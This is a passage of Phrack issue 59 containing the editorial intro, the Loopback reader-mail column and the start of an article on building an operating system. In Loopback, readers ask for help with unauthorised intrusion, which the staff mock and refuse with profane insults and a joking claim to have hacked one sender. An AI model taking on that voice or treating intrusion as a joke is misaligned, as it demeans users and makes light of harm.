```
C:\>type FILE_ID.DIZ

                                ==Phrack Inc.==

                   Volume 0x0b, Issue 0x3b, Phile #0x01 of 0x12

[-]==========================================================================[-]
         ' '''
          :#'  `,   ,,                               ,,
          ##    : ,#'                              ,#'
 __       $#,,#' ,#'     '#,:#$#.   ,,      ,,,   ,#'  ,'
/_/l     ,#'     #$'`#,   :#   '# .#  #;  .#'  `  #$#;`
: : :   ,#'      #:  '#   $#      #'  '#  ##.     #: '#
 ; ; ; ''       ,#'   ', ,:'      "#,,$#,.'#:.,' ,#'   ',  _/_/_/_/   _/_/_/_/
  : : :                                                   _/         _/    _/
   L ; ;  __.-._.-+.                                     _/_/_/_/   _/_/_/_/
  /."^.:.L.' .^-.  \`.                                        _/_/       _/
 :`.`. \"/\ /.-. `. \ \                                      _/_/       _/
 ;\ \ ` ;-.y(_.-\  \ `.`.                               _/_/_/_/   _/_/_/
 :   _. ;;  `    \  \. `-\
  \ T :: :=,   ,=^\  \"-._;          __..------.._
  /;:-'; ;<o\  <o> `._L.--^.     .-""-.`.   \     ""--..
 : :_.': :           ;/     \   /      \ \   ;          ""--._
 ;  T   \ \  s      /:.---.  ;_/    `-._; ;  :     ______    \"-.      ___
:   :\   \ `.-=^" .:-"    _\   \_.      : :  _:.--".-"  .T"---:-.""--""\  ""-.
;    \\   "-.\__.:'      /-'. ; ;    _. ; ;  /   -'    '    .- \        ;     "-
:     ;\     `..'      .'    \: ;      / / .'               )   ;  __  /
 ;      `,     \    .-"       ;/"---" /.' /                 `- /"""  ""___""""__
 :    .-" `.      .'.-\      / ""----""""^-.._              .-"  bug
  \_.'      "._.-"-..-'`-..-'                 ""--..__..--""

[-]==========================================================================[-]
```

What happend since p58?

Summercon took place (kudos to louis)! We put some pics online at http://www.phrack.org/summercon2002 for those who missed it.

DMCA knocked down some websites, forced google to censor parts of their contents and continues to deny, forbid and restrict access to certain information. Free and unmodified information becomes rare and one day we might wake up and dont even know what kind of information we missed. Shame and pity on everyone living in chains in the "free" countries where the DMCA law applies. (-> PWN).

We have changed our release policy (http://www.phrack.org/release). For the last 15 years PHRACK has been released to anyone simultaneously. These days PHRACK is also read by individuals, companies and agencies who do not value the magazine and the authors (under DMCA, PHRACK might even be forbidden). Research is free, the magazine is free, but now the phrack approval and review process provides it free to the contributing authors 2 weeks earlier.

PHRACK 59 will be released in 3 steps:

2002-07-13: Limited release to contributing authors and volunteer reviewers.
2002-07-19: PHRACK 59 Release Candidate 1 is privately release to a larger audience for initial feed-back and review. (Not expected to stay private for long...). http://www.phrack.org/gogetit/phrack59.tar.gz.
2002-07-28: Public release on http://www.phrack.org main page for everyone who missed the release on the 19th.

There might be some confusion about where to get PHRACK and how to get in contact with the Phrack Staff: We do _not_ chill on #phrack/efnet. That channel has been left alone for nearly 3 years. Those who know us, know where to find us. All others should contact us by email (PGP key is attached). None of us would every confirm or show off his involvement in

PHRACK - only snobs do - watch out and dont trust strangers. There is only one official distribution side:

```
     [#][#][#]     http://www.phrack.org      [#][#][#]
```

We got contacted by the very old ones: readers, authors and Editors in Chief's from 10 and more years ago. Thanks so far to everyone for the valueable discussions on knights@lists.phrack.org. This is a call to anyone who wants to meet some friends 'from the old days', or who wants to organize future events and meetings together: Send an email to phrackstaff@phrack.org and we will put you on.

This issue comes with a goodie - check out phrack_tshirt_logo.png. We got in contact with a printer and are happy to announce that the PHRACK TSHIRTS will be ready for the public PHRACK 59 release.
for you, your computer, your family and your dog at DEFCON X and later on at http://www.jinxhackwares.com/phrack.

```
Shoutz:
solar designer              : respect, strength & honor!
FozZy, brotha               : 100% kewl logo (see phrack_tshirt.png)
sh1ft33 & j0hn              : phrack ghostwriterz
```

The latest, and all previous, phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the phrack-distrib mailinglist. Every new phrack is sent as email attachment to this list. Every new phrack issue (without the attachment) is announced on the announcement mailinglist.

To subscribe to the announcement mailinglist:

```
$ mail announcement-subscribe@lists.phrack.org < /dev/null
```

To subscribe to the distribution mailinglist:

```
$ mail distrib-subscribe@lists.phrack.org < /dev/null
```

To retrieve older issues (must subscribe first):

```
$ mail distrib-index@lists.phrack.org < /dev/null
$ mail distrib-get.<n>@lists.phrack.org < /dev/null
```

where n indicated the phrack issue [1..58].

Enjoy the magazine!

Phrack Magazine Vol 10 Number 59, Build 2, July 28, 2002. ISSN 1068-1035

```
|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|
```

```
Editors           : phrackstaff@phrack.org
Submissions       : phrackstaff@phrack.org
Commentary        : loopback@phrack.org
Phrack World News : pwn@phrack.org
```

  We have some agressive /dev/null-style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non-implicit destination, one recipient, a non-empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii.

```
|=-----------------------------------------------------------------------=|
```

Submissions may be encrypted with the following PGP key:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2
xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb
NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb
96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS
Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob
zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF
Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY
JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX
oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh
ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD
FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ
AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb
ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC
36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl
i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy
CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp
QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA
AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu
D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt
GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4
2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8
s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS
4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e
AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo=
=9kWD
-----END PGP PUBLIC KEY BLOCK-----
```

```
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */

|=[ EOF ]=---------------------------------------------------------------=|
phrack.org:~# cat /dev/random

                           ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x02 of 0x12

|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|
```

----| QUOTE of the month

```
<phonic> is it legal?
<cold-fire> dont know, im doing it from bonds box
```

----| EXPLOIT of the month

apache-scalp & OpenBSD memcpy() madness^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H
openssh remote.

----| TOPIC of the month (regarding OpenSSH)

```
-:- Topic (#somewhere): changed by someone:
"8 hours and 53 minutes without a remote hole in the default install!"
```

----| LAMERZ of the month

http://www.idefense.com/Intell/CI022702.html

[or: how to convert public whois db files into .xls and finding
people who buy this bullshit.]

http://hackingtruths.box.sk/certi.htm

[They try to make money out of everything: "Become a certificated
hacker today".]

```
|=[ 0x00 ]=--------------------------------------------------------------=|
```

From: "Kenneth J. Bungert,,," <tnman@islc.net>
Subject: harassment

I have a question ?

[I don’t know... do you?]

Is there any way I can find out who is calling if it is from a computer...
I think that is where the annoying calls are being made?

[If you are in a country that does not have consumer Caller ID, or
provider ANI, then just follow the cord attached to the end your
telephone until you find the person at the other end. Ask them
nicely if they called you.]

Rob
Kenneth J. Bungert,,,

```
|=[ 0x01 ]=--------------------------------------------------------------=|
```

http://www.atstake.com/company_info/management.html#mudge

[Look what they did to mudge/Peiter Zatko. They cut his hair,
tied a tie around his neck and covered his body with a suite.
They wrote that he was the CEO (CEO?, #1?) of [the company named]
"L0pht Heavy Industries".
My comment: ’They made a clown out of a well respected smart guy/hacker
who should be better descriped as ’a key figure in americans famous
underground hacking group known as L0pft Heavy Industries’. I hope
the tie will not become too tight mudge :/]

|=[0x02]=--=|

From: mac119@hotmail.com

Hello i need some help.

[Come to us, we enlight and answer all your worries!]

if someone can hack down 172.26.100.10:8080 and take down the proxy server, would make me very happy.

[..would pretty much impress me. Most of your questions can be answered by reading RFC1918.]

NB! if someone do that, they will get a little reward from me, $120.
tanks again
Ice

|=[0x03]=--=|

Dear Hacker

i am 29 y/o male and very intrested in hacking my girlfriends Emails
in "Yahoo" and "Hotmail" . please instruct me if it has an straighforward
solution or anything help me in this regard.
i have tried some softwares about this but they didnt work properly
and no result achieved. please Email ur hints to ab_c28@yahoo.com
thank you for your prompt attention.
regards.

Bob Z.
NEVER SEND SPAM. IT IS BAD.

[Dear Lamer

After hacking your Yahoo! account we acquired your girlfriend's email address and proceeded to inform her about your curiosity.

After speaking with her about this incident she agreed that we should expose you for the perverse idiot that you are. Get a life.]

|=[0x04]=--=|

From: "brad" <mulder428@hotmail.com>

Hey guys..I am a beginner and i am trying to find all the information that i can on how to learn everything that you guys know...i am not asking for you to tell me how to hack into hotmail or yahoo mail like some of the other people here but i just want any kind of information that you can give me on how to learn anything and everything about what you guys do,

[Do you know what it is that we know? We don't know what we know, we just know that we know it.

An obvious self-promotional answer would be to read Phrack...]

With much respect,
Ryan

|=[0x05]=--=|

From: Jason De Grandis <JasonD@activ.net.au>
Subject: [phrackstaff] Hacking / Cracking

I am new to the world of hacking and cracking, and I want to get some info on the above.

[Welcome to our world, Jason.]

What I want to do is, obtain credit card numbers, get email passwords and get into NASA and the FBI, if I am lucky. The sort of stuff the movie "Hackers" illustrated. I don't know if this can be done, if it can, can someone email me the information or point me into the right direction on were to start.

[Sounds like some pretty serious stuff you want to get into. I recommend watching Hackers a few more times and then getting yourself some Gibsons. Remember -- the most commonly used passwords are "love", "sex", "secret" and "god" -- BUT NOT NECESSARILY IN THAT ORDER YOU FUCKING LAMER!]

Where do I go and what do I need. I have started learning LINUX, as I have been told it is something to know and learn. What else do I need???

[A system, a clue, some Phrack issuez for you
Learn Unix and learn it good, learn it like a ninja would
If you do not have a clue yet, some 0day you must get
Hack the planet in a night, backdoor that shit up tight
Sell each root for a buck...
OH MY GOD YOU FUCKING SUCK!@#!#!$]

J.

[S.]

|=[0x06]=--=|

Hey again Phrack

[Hello]

I have now read quite a few of your magazines. BUT there is a pretty nasty failure in number 56... Either the index file is misplaced or the articles are. They don't match, that's for sure!

[It is all fine. It is indexed in hex (the index file is quite clear if you bother to read it -- p56-0x01)]

If you have gotten the time for it could you then please fix it. And I would be happy if you would send me a copy of the correct one when finished..

[No. It's not broken, chump.]

Thank you.

/Dark Origin

~If you think nobody cares, try missing a couple of payments.~

[Trust me. Nobody cares.]

|=[0x07]=--=|

From: syiron the sex man <syiron@eynet.cc>
To: <somegroup@somedomain>
Subject: i would like to surf telnetd daemon services

hello <grup name> the best crew in the world

[Thank you.]

i had search remote buffer to gain access root in telnetd port daemon but i fail to do it

[I feel your pain.]

can you make me one of the remote to attack solaris sparc ... attack from
linux or solaris

[Nope!]

thanks
need code

[Need life.]

syiron

|=[0x08]=---=|

Hi! Can you to speak to me the learn for to speak the Unix?

[I wish Unix I knew to speak it to you good hehe!]

|=[0x09]=---=|

From: "I. O. Jayawardena" <ioshadi@sltnet.lk>
Subject: [phrackstaff] Best wishes

Greetings guys (and gals?),

[Greetings, I. O.]

First things first: Phrack is a really good e-zine, and loopback is just great, but you knew this already ;)

[Of course!]

I'm an aspiring hacker and all-round geek. Girls are scarce over here; knowledge even more so. I developed the hacker state of mind when I was exposed to the Net, while I was studying like a demon for a competition which landed me my Celeron (with some peripherals). While surfing two days ago, I stumbled onto phrack.org and an old flame was rekindled; So here I am...

Really guys, Phrack is a good thing. Keep up the good work. The home page is very nice too... Maybe even chicks will dig it ;)

[The webmaster has been hoping they would since day 1.]

I'm a pretty good C and C++ programmer, and the only difficulty I have is money. NO credit cards to pay for books I can buy only online. I'd be very grateful if anyone over there could give me the location of a _free_ machine-readable copy of "The C Programming Language" by K&R. I doubt if even the universities over here have it (off the record, some professors here don't know that printf(...) actually returns something, but claim to have written Linux kernel modules :|).

[If you're a pretty good C programmer, why do you need that particular book? Are you lying to us? Try a library.]

Anyway, thanks, and I can say with absolute, nay, non-relative certainty that the number of Phrack readers has increased by one non-atomically.

[Geek!]

alvin

PS: if the only "alvin" you can recall is alvin of the chipmunks, read up a bit on the works of Sir Arthur C. Clarke.

[No thanks, I'll take your word for it, chipmunk.]

|=[0x0a]=--=|

From: "RAZ" <rafmalai@rafmalai.worldonline.co.uk>

HI
I WONDER IF U CAN HELP ME

  [HI, MAYBE IF YOU STOP SHOUTING!]

MY NAME IS RAZ AND I LIVE IN LONDON, I HAVE A CONNECTION LINE WITH BT FOR
OUR PHONE.

  [That's very nice, Baz. But you're still shouting!]

RECENTLY WE REC.D OUR BILL WHICH WERE PHONES MADE WHICH WE HAVE NOT MADE,
LONG MOBILE PHONES AND INTERNATIONAL, AND WE EVEN THINK WE KNOW WHO DID BUT
HOW?? IS IT POSSIBLE TO DO PHONE HACKING OR TAPPING ?

  [Of course. Don't you read Phrack?]

IF SO HOW..
BT SAID THERE IS NOT WAY AND WE HAVE TO PAY THE BILL WHICH WE WILL BUT
INSIDED OUR HEARTS WE KNOW WE DID NOT DO THEM..
CAN U HELP

  [I think you're beyond help.]

|=[0x0b]=--=|

From: "Marcel Feuertein" <webgateknight@hotmail.com>
Subject: [phrackstaff] You have a slight problem on your site.

Hello, to whom it may concern;

When I went to your 'download' link it opened in 'edit' mode..
showing me the total >> Index of /archives>> without the HTML.

  [Really? That's disgraceful!]

Found your site while searching Yahoo on how to play a video file I
downloaded with an .AVI extension with a comment " EG-VCD" after the name
of file, which causes my Windows Media Player to play only the sound ..
without the video.

  [Interesting.]

Thus I was looking for a player/codec to solve this problem.

  [Good luck.]

Any suggestions are appreciated.

  [I'm all out of ideas.]

Your site has been added to my favorites. I truly enjoy your content.
Congratulations.

  [Thanks.]

Take care

Marcel

|=[0x0c]=--=|

From: richard fraser <SD_clan@e-mile.co.uk>
Subject: [phrackstaff] problem

what do i run the programmme under ,you know like what programme do i run
it in

[I've been asking myself that question all my life.]

richard

|=[0x0b]=---=|

From: bobby@bobby.com
Subject: [phrackstaff] phrakz

Hi,
My nickname is Bobby - Happy Bobby, im 14 years hacker, & im so happy
becouse of pCHRAK (or sumthin) 58 issue, finally i had found
information how to break into pentagon server, but i have one littl3
pr0blem, i dunno how to log into this server i had tried telnet
pentagon.org but my Windows said "Cannot found telnet.exe file", could you
tell me what am i doing wrong?

PS.My dick is now 32cm long!, one year ago it was only 5cm, how about
yours?

s0ry 4 my b4d inglish (i ate all sesame-cakes :),

ps0x01.gr33tz to all hacker babes (if they really exists i bet they
would like to hack into my pants & meet Big Bobby :)
ps0x02.i tak mierdzicie ledziem :)
ps0x03.pana guampo kanas e ribbon hehe
psx.cya

Happy Bobby

[...]

|=[0x0c]=---=|

From: "DANIEL REYNOLDS" <icyflame177@msn.com>

hey yall, I havent done many articles but i think i am up to the
challenge. Do you know a subject that I could write on that the
ppl that read phrack would enjoy? thankz,

~][cyflame

[Try it with "The insecurity of my ISP, MSN.COM"]

|=[0x0d]=---=|

From: piracy <piracy@microsoft.com>
To: phrackedit@phrack.com
Subject: [phrackstaff] How are you

[?! thnx, and you guys?]

|=[0x0e]=---=|

I got this message from you:

> To: luigi@cs.berkeley.edu
> From: phrackstaff-admin@phrack.org
> Subject: Your message to phrackstaff awaits moderator approval
>
> Posting to a restricted list by sender requires approval
> Either the message will get posted to the list, or you will receive
> notification of the moderator's decision.

[hmm, yes indeed, interesting. Hmm. What might this be Dr.Watson? The moderator's decision is to investigate this posting a little bit further.]

However, I never sent a message to phrackstaff before this one. So there seems to be a problem. I would kindly request that you do NOT post the message, since I don't know what it contains and don't want it to be attributed to me.

Thank you very much
Luigi Semenzato

|=[0x0f]=--=|

From: gobbles@hushmail.com
Subject: ALERT! BLUE BOAR IS IN #PHRACK! ALERT!

The Blue Boar is currently chatting in #phrack!
ALERT! ALERT! ALERT!

[Noone of us is in control of this channel. We chill where no phrack staff has chilled before...]

|=[0x10]=--=|

From: "Brian Herdman" <bherdman20@hotmail.com>

Hey.

[y0!]

im looking for a copy of the jolly rodger cook book
i used to have it but my hard drive fried and i thought it was gone
forever.....

[Man, I've been looking for that one for the last 15 years on www.phrack.org but i guess one of the previous editors just rm'ed it. jolly rodger cook book, yummm yumm, that's what's missing on our page....]

|=[0x11]=--=|

From: son gohan <ssjchris61@yahoo.com>
Subject: [phrackstaff] phreak boxes

Hi can i get some info on the tron box?

[PHRACK != GOOGLE]

|=[0x12]=--=|

From: "Bruce's Email" <bruce@adranch.com>
Subject: [phrackstaff] Passwords
Date: Wed, 10 Apr 2002 13:45:44 -0500

How do I figure out someone's password and user name if I have their e-mail address?

[The easiest way is just to ask him:
echo "ALL UR PASSW0RDZ R BEL0NG TO US!" | mail target@hotmail.com]

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x03 of 0x12

```
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|
```

--[Contents

--[1 - PHRACK Linenoise Introduction

I think you know what linenoise is about. We had the same cut & paste Linenoise Introduction in the last 10 issues :)

----[1.1 - PHRACK Oops

Oops, For the last 17 years we forgot the .txt extension to the articles.

Some reader complained about a little mistake in p59-0x01:

```
phrack:~# head -20 /usr/include/std-disclaimer.h
```

22 lines of the header are actually printed :P

The message of the disclaimer remains:
1) No guarantee on anything.
2) Nobody is responsible.
3) Dont blame us if your kids turn into hackerz.

----[1.2 - PHRACK Fakes

http://www.cafepress.com/cp/store/store.aspx?storeid=phrack

That's not us.
Check out our homepage at http://www.phrack.org for some tshirts.

```
|=[ 0x02 ]=-------=[ Methodology For OS Construction ]=------------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ Bill Blunden <wablunden@hotmail.com> ]=--------------=|
```

--[Contents

--[0 - Introduction

Of the countless number of books on operating system design, there are perhaps only three or four, that I know of, which actually discuss how to build a fully-functional operating system. Even these books focus so narrowly on specific hardware that the essential steps become buried under a pile of agonizing minutiae. This is not necessarily a bad thing, rather it is an unintended consequence. Operating systems are incredibly complicated pieces of software, and dissecting one will yield countless details.

Nevertheless, my motivation for submitting this article is to provide a generic series of steps which can be used to build an OS, from scratch, without bias towards a particular hardware vendor.

"Geese Uncle Don, how do you build an OS ..."

My own understanding of OS construction was rather sketchy until I had the privilege of meeting some old fogeys from Control Data. These were people who had worked on the CDC 6600 with Seymour Cray. The methodology which I am passing on to you was used to build Control Data's SCOPE76 operating system. Although some of the engineers that I spoke with are now in their 70s, I can assure you that the approach they described to me is still very useful and relevant.

During the many hours that I pestered these CDC veterans for details, I heard more than a few interesting war stories. For example, when Control Data came out with the 6600, it was much faster than anything IBM was selling. The execs at Big Blue were so peeved at being upstaged by Cray that they created a paper tiger and told everyone to wait a few months. Unfortunately, it worked. Everyone waited for IBM to deliver (IBM never did, those bastards) and this forced CDC to drop the price of the 6600 in half in order to attract customers.

If you are familiar with IBM's business practices, this type of behavior comes as no surprise. Did you know that IBM sold Hollerith tabulators to the Nazis during WWII?

This article is broken into three parts.

Part 1 presents a general approach that may be used to build an operating system. I am intentionally going to be ambiguous. I want the approach to be useful regardless of which hardware platform you are targeting.

For the sake of focusing on the process itself, I delay the finer details of construction until Part 2. In Part 2, I present a rough map that can be used to determine the order in which the components of the OS should be implemented.

For the sake of illuminating a few of the issues that a system engineer will face during OS implementation, I have included a brief discussion of an extended example in part 3. My goal in part 3 is to illustrate some of the points that I make in part 1. I have no intention of offering a production quality OS, there are already a number of excellent examples available. Interested readers can pick up any of the references provided at the end of this article.

--[1 - The Critical Path

In the stock market, you typically need money in order to make money. Building an OS is the same way: you need an OS in order to build one.

Let's call the initial OS, and the hardware that it runs on, the 'host' platform. I will refer to the OS to be constructed, and the hardware that it will run on, as the 'target' platform.

--[1.1 - Choose a Host Platform

I remember asking a Marine Corp Recon guy once what he thought was the most effective small sidearm. His answer: "whichever one you are the most familiar with."

The same holds true for choosing a host platform. The best host platform to use is the one which you are the most familiar with. You are going to have to perform some fancy software acrobatics and you will need to be intimately familiar with both your host OS and its development tools. In some more pathological cases, it may even help to be familiar with the machine instruction encoding of your hardware. This will allow you to double check what your development tools are spitting out.

You may also discover that there are bugs in your initial set of tools, and be forced to switch vendors. This is a good reason for picking a host platform which is popular enough that their are several tool vendors to choose from. For example, during some system work, on Windows, I discovered a bug in Microsoft's assembler (MASM). As it happened, MASM would refuse to assemble a source file which exceeded a certain number of lines. Fortunately, I was able to buy Borland's nifty Turbo Assembler (TASM) and forge onward.

--[1.2 - Build a Simulator

Once you've picked a host platform and decided on an appropriate set of development tools, you will need to build a simulator that replicates the behavior of the target platform's hardware.

This can be a lot more work than it sounds. Not only will you have to reproduce the bare hardware, but you will also have to mimic the BIOS which is burned into the machine's ROM. There are also peripheral devices and micro controllers that you will need to replicate.

Note: The best way to see if you have implemented a simulator correctly is to create an image file of a live partition and see if the simulator will run the system loaded on it. For example, if you built an x86 simulator, then you could test out an image file of a Linux boot partition.

The primary benefit of the simulator is that it will save you from having to work in the dark. There is nothing worse than having your machine crash and not being able to determine why. Watching your Intel box triple fault can be extremely frustrating, primarily because it is almost impossible to diagnose the problem once it has occurred. This is particularly true during the boot phase, where you haven't built enough infrastructure to stream messages to the console.

A simulator allows you to see what is happening in a safe, and controlled, environment. If your code crashes the simulator, you can insert diagnostic procedures to help perform forensic work. You can also run the simulator from within the context of a debugger so that you can single-step through tricky areas.

The alternative is to run your OS code on raw metal, which will basically preclude your ability to record the machine's state when it crashes. The diagnostic and forensic techniques which you used with the simulator will be replaced by purely speculative tactics. This is no fun, trust me.

For an excellent example of a simulator, you should take a look at the bochs x86 simulator. It is available at:

```
                         http://sourceforge.net/projects/bochs
```

Once thing that I should mention is that it is best to use bochs in conjunction with Linux. This is because bochs works with disk images and the Linux 'dd' command is a readily available and easy way to produce a disk image. For example, the following command takes a floppy disk and produces an image file named floppy.img.

```
                         dd if=/dev/fd0 of=floppy.img bs=1k
```

Windows does not ship with an equivalent tool. Big surprise.

"Back in my day ..."

In the old days, creating a simulator was often a necessity because sometimes the target hardware had not yet gone into production. In those days, a smoke test was truly a smoke test ... they turned on the machines and looked for smoke!

--[1.3 - Build a Cross-Compiler

Once you have a simulator built, you should build a cross-compiler. Specifically, you will need to construct a compiler which runs on the host platform, but generates a binary which is run by the target platform. Initially you will use the simulator to run everything that the cross-compiler generates. When you feel confident enough with your environment, you can start running code directly on the target platform.

"Speaking words of wisdom, write in C..."

Given that C is the de facto language for doing system work, I would highly recommend getting the source code for compiler like gcc and modifying the backend. The gcc compiler even comes with documentation dedicated to this task, which is why I recommend gcc. There are other public C compilers, like small-C, that obey a subset of the ANSI spec and may be easier to port.

```
                         gcc:             http://gcc.gnu.org
                         small-C:         http://www.ddjembedded.com/languages/smallc
```

If you want to be different, I suppose you could find a Pascal or Fortran compiler to muck around with. It wouldn't be the first time that someone took the less traveled route. During the early years, the Control Data engineers invented their own variation of Pascal to construct the NOSVE (aka NOSEBLEED) OS. NOSVE was one of those Tower of Babel projects that never made it to production. At Control Data, you weren't considered a real manager until you had at least one big failure under your belt. I bet NOS/VE pushed the manager up to VP status!

--[1.4 - Build and Port The OS

OK, you've done all the prep work. It's time to code the OS proper. The finer details of this process are discussed in Part 2. Once you have a prototype OS built than runs well on the simulator you will be faced with the -BIG- hurdle ... running your code on the actual target hardware.

I found that this is a hurdle which you should jump early on. Do a test run on the target platform as soon as you have the minimal number of working components. Discovering that your code will not boot after 50,000 lines of effort can be demoralizing.

If you were disciplined about designing and testing your simulator, most of your problems will probably be with the OS code itself and perhaps undocumented features in peripheral hardware controllers. This is where investing the time in building a bullet-proof simulator truly pays off. Knowing that the simulator does its job will allow you to more accurately diagnose problems ... and also save you plenty of sleep.

Finally, I would recommend using a boot disk so that you don't put the hard drive(s) of your target machine at risk. Even the Linux kernel can be made to fit on a single floppy, so for the time being try not to worry about binary size constraints.

--[1.5 - Bootstrap the Cross-Compiler

Congratulations. You have gone where only a select few have gone before. You've built an operating system. However, wouldn't it be nice to have a set of development tools that can be run by your new OS? This can be achieved by bootstrapping the existing cross-compiler.

Here's how bootstrapping works: You take the source code for your cross-compiler and feed it to the cross-compiler on the host platform. The cross-compiler digests this source code and produce a new binary that can be executed by the target OS. You now have a compiler that runs on the target OS and which creates executables that also run on the target OS.

Naturally, I am making a few assumptions. Specifically, I am assuming that the libraries which the cross-compiler uses are also available on the target OS. Compilers spend a lot of time performing string manipulation and file I/O. If these supporting routines are not present and supported on the target platform, then the newly built compiler is of little utility.

--[2 - OS Components

An OS is a strange sort of program in that it must launch and manage itself in addition to launching and managing other programs. Hence, the first thing that an operating system needs to do is bootstrap itself and then set up its various components so that it can do its job.

I would recommend getting your hands on the vendor documentation for your hardware. If you are targeting Intel, then you are in luck because I explain the x86 boot process in Part 3 of this article.

In terms of overall architecture, I would recommend a modular, object-oriented, design. This doesn't mean that you have to use C++. Rather, I am encouraging you to delineate the various portions of the OS into related sets of data and code. Whether or not you use a compiler to enforce this separation is up to you. This approach has its advantages in that it allows you to create sharply delineated boundaries between components. This is good because it allows you to hide/modify each subsystem's implementation.

Tanenbaum takes this idea to an extreme by making core components, like the file system and memory manager, pluggable at runtime. With other operating systems, you would have to re-compile the kernel to swap core subsystems like the memory manager. With Minix, these components can be switched at runtime. Linux has tried to implement something similar via loadable kernel modules.

As a final aside, you will want to learn the assembly language for the target platform's hardware. There are some OS features that are tied directly to hardware and cannot be provided without executing a few dozen lines of hardware-specific assembler. The Intel instruction set is probably one of the most complicated. This is primarily due to historical forces that drove Intel to constantly strive for backwards compatibility. The binary encoding of Intel instructions is particularly perplexing.

Which OS component should you tackle first?

In what order should the components be implemented?

I would recommend that you implement the different areas of functionality in the manner described by the following four sections.

--[2.1 - Task Model

In his book on OS design, Richard Burgess states that you should try to start with the task control code, and I would tend to agree with him. The task model you choose will impact everything else that you do.

First, and foremost, an operating system manages tasks. What is a task? The Intel Pentium docs define a process as a "unit of work" (V3 p.6-1).

What was that person smoking? It's like saying that a hat is defined as a piece of clothing. It doesn't give any insight into the true nature of a task. I prefer to think of a task a set of instructions being executed by the CPU in conjunction with the machine state which that execution produces.

Inevitably, the exact definition of a task is spelled out by the operating system's source code.

The Linux kernel (2.4.18) represents each task by a task_struct structure defined in /usr/src/linux/include/linux/sched.h. The kernel's collection of processes are aggregated in two ways. First, they are indexed in a hash table of pointers:

```
                extern struct task_struct *pidhash[PIDHASH_SZ];
```

The task structures are also joined by next_task and prev_task pointers to form a doubly-linked list.

```
                struct task_struct
                {
                        :
                        struct task_struct *next_task, *prev_task;
                        :
                };
```

You will need to decide if your OS will multi-task, and if so then what policy will it apply in order to decide when to switch between tasks (switching tasks is also known as a context switch). Establishing a mechanism-policy separation is important because you may decide to change the policy later on and you don't want to have to re-write all the mechanism code.

Context Switch Mechanism:

